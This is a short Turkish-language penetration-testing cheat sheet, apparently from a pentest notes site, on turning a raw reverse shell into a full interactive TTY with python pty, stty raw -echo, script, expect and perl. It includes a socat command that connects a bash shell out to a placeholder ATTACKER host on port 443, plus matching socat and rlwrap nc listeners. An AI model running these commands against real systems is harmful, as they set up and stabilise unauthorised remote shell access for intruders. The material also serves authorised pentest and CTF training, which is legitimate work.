Skip to content

Full TTYs

generic tty

Ham reverse shell’de su, ssh, vim ve tab-completion kırılır. PTY alloce edip TERM ve window size ayarlamak gerekir.

  1. Hedefte python/script/socat var mı bak.

  2. PTY spawn et; background’da shell’i suspend et.

  3. Attacker tarafında raw TTY + stty size eşle.

  4. fg ile dön; su/editörleri doğrula.

Terminal window
python3 -c 'import pty
Terminal window
pty.spawn("/bin/bash")'
Terminal window
# klasik üçlü
# 1) python pty
# 2) Ctrl-Z
# 3) attacker:
Terminal window
stty raw -echo
Terminal window
fg
Terminal window
# shell içinde:
export TERM=xterm-256color
Terminal window
stty rows 40 columns 120
Terminal window
script -qc /bin/bash /dev/null
Terminal window
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:ATTACKER:443
Terminal window
# attacker
socat file:`tty`,raw,echo=0 tcp-listen:443
Terminal window
expect -c 'spawn bash
Terminal window
interact'
Terminal window
perl -e 'exec "/bin/sh"
Terminal window
'
PTY yoksa en azından rlwrap nc -lvnp 443 ile lokal history/ok tuşları
Terminal window
rlwrap nc -lvnp 443
[ ] PTY spawn edildi
[ ] stty raw -echo; fg uygulandı
[ ] TERM/rows/cols ayarlandı
[ ] su/vim/ssh denendi